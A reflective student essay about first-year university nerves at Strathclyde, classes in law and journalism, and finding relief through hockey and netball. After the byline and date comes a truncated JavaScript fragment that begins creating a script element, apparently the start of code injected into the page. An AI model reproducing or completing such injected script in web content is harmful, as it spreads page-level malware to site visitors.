Breaking away from the Whirlwind of Terror

BEFORE starting university this year, I was fortunate enough to be met with the oh-so-encouraging rumours of university ‘wisdom’. As if being thrown into classes with a herd of dazzling straight-A intellects wouldn’t be intimidating enough, I was now fully expecting to battle through the next four years completely alone, lost in a cloud of confusion with no help whatsoever. That was if I even made it past first year without failing everything. Self expectation was definitely at an all time low.

During my induction we were all asked to write down what we feared about starting uni. It was that moment when one intelligent soul managed to put forward my entire feelings in the space of four words: ‘Being terrible at everything’. Couldn’t have put it better myself.

When lectures started, despite people’s assurance that all those negative expectations were untrue, things only got more terrifying. My first lecture was law. Up until now, I’d ignored warnings about the extremity of technical details of this subject, shrugging them off with a ‘how hard can it really be?’ The warnings were right. It was intense.

‘What the hell am I doing here?’ was the thought that echoed through my brain like a loose screw. I wondered how I’d even ended up at university. ‘A lucky mistake.’ That was my conclusion.

Finally Thursday arrived and I walked into my journalism tutorial – the class that was the motivation behind my entry to university – relieved to be away from confusing words such as ‘constitution’ and ‘stimulus’. At last! I was in my comfort zone …a comfort zone which still consisted of knowing absolutely nothing and having no experience whatsoever. Yet, I told myself ‘that was okay, that nobody else would either’.

But no. Journalism of course had its very own dazzling intellects, eager to impress with the name dropping of articles they had written and every journalistic term under the sun.

Teetering on the slippery edge of despair, I began fiercely scribbling a ‘to do list’, creating a very large page of things I would need to achieve in order avoid the mockery of living off my parents for the rest of my life.

I realised if I wanted to gain any kind of experience, I would have to venture into the scariness of the unknown instead of waiting around until it became a little more familiar (by which time all ‘the intellects’ would be off making their millions). It was time to make the choice between ‘The Muddy Ditch of Nothingness’ or the painful uphill climb towards ‘The Possibility of Actually Graduating University with Mild Success’.

Signing yourself up to extra-curricular activities with a big fat face of confidence when your friends are all out partying away in celebration of their cleverness, is a lot easier said than done of course. Away from the cliques of the school playground, though, signing up for things at Strathclyde was, in fact, not too torturous! This is what helped numb my fears about starting university (…mostly down to the fact that I didn’t really have time to panic anymore). Instead of procrastinating between facebook and twitter while stressing about wasting my time procrastinating between facebook and twitter, my time is now spent doing sports which in turn will motivate me to work harder in the time that I do have free.

Joining both hockey and netball was in itself a considerable personal accomplishment as I had spent the last year of school slowly becoming increasingly terrible at both. ‘However,’ I thought, ‘things can change!’ And when I’m out on that pitch, rumbling after the ball with my hockey stick flying in all directions, I certainly don’t have time to worry about something so ‘unnecessary’ as studying. I suppose that is the beauty of competition.

In my opinion too much free time only leads to too much wasted time. Perhaps this isn’t the same for everyone, but in terms of battering away the terror of exams and studying, I feel that other activities are necessary to survive the sheer stress alone! Even though it is still early days, I have not yet keeled over with the distress of being academically incompetent, which I consider as a definite achievement!

And as for my journalistic experience? I guess I will just have to keep hobbling along, making a mockery of myself, hoping that my own advice actually works and won’t just lead to me spending my life out on the streets, begging for money off some dazzlingly wealthy man who looks vaguely familiar…

Rachel Robertson
(Published December 2012)var d=document;var s=d.createElement(‘script’);